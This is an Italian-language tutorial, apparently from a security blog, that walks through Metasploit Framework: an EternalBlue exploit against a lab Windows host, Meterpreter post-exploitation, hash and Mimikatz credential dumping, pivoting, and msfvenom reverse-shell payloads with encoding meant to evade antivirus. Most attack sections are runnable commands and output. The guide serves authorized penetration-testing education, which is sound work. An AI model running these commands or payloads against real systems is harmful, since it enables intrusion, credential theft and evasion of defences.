tools

Metasploit Framework: Guida Completa a Exploit e Payload

Metasploit Framework: Guida Completa a Exploit e Payload

Metasploit Framework è la piattaforma di penetration testing più usata per exploit, payload e post-exploitation. Guida operativa per workflow offensivo completo.

  • Pubblicato il 2026-02-17
  • Tempo di lettura: 5 min

Metasploit: Cos’è, Come Funziona e Come Usarlo nel Penetration Testing #

Metasploit Framework è una piattaforma open source per il penetration testing utilizzata per verificare la sicurezza di sistemi e servizi attraverso l’uso controllato di exploit, payload e tecniche di post-exploitation.

Il framework riunisce in un unico ambiente diversi strumenti e moduli che permettono di passare dall’identificazione di una vulnerabilità alla sua verifica pratica, fino alla gestione della sessione ottenuta sul sistema target.

In questa guida vediamo come utilizzare Metasploit in un lab o durante un assessment autorizzato, dalla configurazione iniziale alla ricerca dei moduli, dall’esecuzione di un exploit alla gestione delle sessioni Meterpreter, fino alla generazione di payload con msfvenom e al pivoting verso reti interne.

Come funziona Metasploit Framework #

Metasploit è organizzato attorno a un’architettura modulare. Ogni modulo svolge un compito specifico e può essere combinato con altri componenti in base allo scenario del penetration test.

Gli exploit contengono il codice e la logica necessaria per tentare di sfruttare una determinata vulnerabilità, mentre i payload definiscono ciò che deve essere eseguito sul sistema target dopo lo sfruttamento. I moduli auxiliary vengono invece utilizzati per attività come scanning, enumeration e raccolta di informazioni, mentre i moduli di post-exploitation permettono di lavorare sul sistema dopo aver ottenuto una sessione.

Questa struttura consente di costruire workflow diversi a seconda dell’obiettivo dell’assessment, utilizzando lo stesso framework per attività che vanno dalla verifica iniziale della vulnerabilità fino all’analisi del sistema compromesso.

Installazione e Setup #

Su Kali Linux Metasploit è preinstallato. Verifica e aggiorna:

bash
msfconsole -v
sudo apt update && sudo apt install metasploit-framework -y

Per altre distribuzioni, l’installer ufficiale semplifica il processo:

bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall

Configurazione Database #

Metasploit utilizza PostgreSQL per memorizzare host, servizi, credenziali e loot. Il database è fondamentale per gestire engagement complessi:

bash
sudo systemctl start postgresql
sudo msfdb init

Verifica la connessione all’avvio di msfconsole:

bash
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

L’interfaccia di Metasploit segue una logica coerente. Impara questi comandi e navigherai fluidamente in tutto il framework:

ComandoFunzione
searchCerca moduli per keyword, CVE, piattaforma
useSeleziona un modulo
infoMostra dettagli del modulo corrente
show optionsVisualizza parametri configurabili
setImposta un parametro
run / exploitEsegue il modulo
backTorna al prompt principale
sessionsGestisce sessioni attive

La ricerca è potente e supporta filtri multipli:

bash
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > search name:eternalblue

Il Primo Exploit: EternalBlue #

Per comprendere il workflow Metasploit, eseguiamo un attacco completo contro una macchina Windows vulnerabile a MS17-010 (EternalBlue).

Cerca e seleziona l’exploit:

bash
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue

Visualizza le opzioni richieste:

bash
msf6 exploit(ms17_010_eternalblue) > show options

Configura target e payload:

bash
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

Lancia l’attacco:

bash
msf6 exploit(ms17_010_eternalblue) > exploit

Se il target è vulnerabile, otterrai una sessione Meterpreter:

text
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)
meterpreter >

Moduli Auxiliary per Ricognizione #

Prima di exploitare, i moduli auxiliary permettono di enumerare servizi e identificare vulnerabilità. Integrano perfettamente con nmap per una ricognizione completa.

Scan di versione SMB su subnet:

bash
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 50
msf6 auxiliary(smb_version) > run

Check vulnerabilità MS17-010:

bash
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run

L’output evidenzia host vulnerabili, pronti per l’exploitation.

Meterpreter: Post-Exploitation #

Meterpreter è il payload avanzato di Metasploit. Opera interamente in memoria, evitando di scrivere su disco, e offre funzionalità estese per la post-exploitation.

Comandi essenziali una volta ottenuta la shell:

bash
meterpreter > sysinfo          # Info sistema
meterpreter > getuid           # Utente corrente
meterpreter > getsystem        # Tenta privilege escalation
meterpreter > hashdump         # Dump hash SAM
meterpreter > download file    # Scarica file
meterpreter > upload file      # Carica file
meterpreter > shell            # Shell nativa

Privilege Escalation Automatica #

Se non sei SYSTEM, Meterpreter può tentare escalation automatica:

bash
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)

Se fallisce, usa il suggester per trovare exploit locali:

bash
meterpreter > run post/multi/recon/local_exploit_suggester

Questo analizza il sistema e lista exploit applicabili con relativa probabilità di successo.

Credential Harvesting #

Il dumping delle credenziali è cruciale per il lateral movement:

bash
meterpreter > hashdump
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Per credenziali in chiaro, carica Mimikatz integrato:

bash
meterpreter > load kiwi
meterpreter > creds_all

Pivoting: Raggiungere Reti Interne #

Quando comprometti un host con accesso a reti interne non raggiungibili direttamente, Metasploit permette di usarlo come pivot point.

Aggiungi una route attraverso la sessione:

bash
msf6 > sessions -l
msf6 > route add 10.10.10.0/24 1

Ora puoi attaccare la subnet 10.10.10.0/24 attraverso la sessione 1. Tutti i moduli Metasploit useranno automaticamente questa route.

Per strumenti esterni, configura un proxy SOCKS:

bash
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j

Configura proxychains (/etc/proxychains4.conf) per usare il proxy e lancia tool esterni attraverso la rete pivotata.

Generazione Payload con msfvenom #

msfvenom genera payload standalone per scenari dove l’exploit diretto non è possibile. Utile per phishing, USB drop, o quando hai già un vettore di esecuzione.

Payload Windows exe:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

Payload per web shell PHP:

bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

PowerShell in-memory (fileless):

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-cmd

Per evitare detection, combina con encoding:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe

Ricorda: i payload stock sono heavily signatured. Per engagement reali, considera tecniche di evasion avanzate.

Gestione Sessioni e Workspace #

Durante un penetration test gestisci molte sessioni. Metasploit offre strumenti per organizzarle:

bash
msf6 > sessions -l                    # Lista sessioni
msf6 > sessions -i 1                  # Interagisci con sessione 1
msf6 > sessions -k 1                  # Termina sessione 1
msf6 > sessions -K                    # Termina tutte

I workspace separano engagement diversi:

bash
msf6 > workspace                      # Lista workspace
msf6 > workspace -a client_name       # Crea nuovo
msf6 > workspace client_name          # Seleziona

Importa risultati da nmap per popolare il database:

bash
msf6 > db_import /path/to/nmap_scan.xml
msf6 > hosts                          # Visualizza host importati
msf6 > services                       # Visualizza servizi

Scenari Pratici #

Scenario 1: Compromissione Rete Corporate #

Workflow completo per un engagement interno:

  1. Scan rete con db_nmap integrato
  2. Identifica host vulnerabili con auxiliary scanner
  3. Exploit della vulnerabilità più critica
  4. Privilege escalation a SYSTEM
  5. Credential dump con Mimikatz
  6. Lateral movement verso Domain Controller
  7. Persistenza e documentazione

Scenario 2: Web Application to Shell #

Quando hai una vulnerabilità web (RCE, file upload):

  1. Genera payload PHP con msfvenom
  2. Upload tramite vulnerabilità
  3. Configura handler in Metasploit
  4. Triggera il payload visitando la URL
  5. Post-exploitation standard

Handler per ricevere connessioni:

bash
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j

Troubleshooting #

“Exploit completed, but no session was created”: il payload non riesce a connettersi. Verifica che LHOST sia raggiungibile dal target, controlla firewall locale, prova payload diversi (staged vs stageless).

Handler non riceve connessioni: verifica che la porta sia aperta (sudo ufw allow 4444/tcp), che LHOST sia corretto (usa 0.0.0.0 per tutti gli IP), che il target possa raggiungere il tuo IP.

Database non connesso: riavvia PostgreSQL e reinizializza con msfdb reinit.

FAQ #

Metasploit vs exploit manuali?

Metasploit accelera il workflow ma gli exploit potrebbero essere meno aggiornati di quelli su Exploit-DB. Per CVE recenti, verifica sempre la data del modulo.

Come aggiorno i moduli?

msfupdate aggiorna tutto il framework. Per moduli community più recenti, copia i file .rb in ~/.msf4/modules/.

Meterpreter viene rilevato dagli AV?

I payload standard sono signatured. Per evasion usa encoding, payload custom, o framework dedicati come Veil.

È legale usare Metasploit?

Solo su sistemi autorizzati. Per penetration test professionali.

Risorse: Metasploit Docs | Rapid7 GitHub

#payload generation #post exploitation #Metasploit Framework #Metasploit

lascia un messaggio

Non sono un robot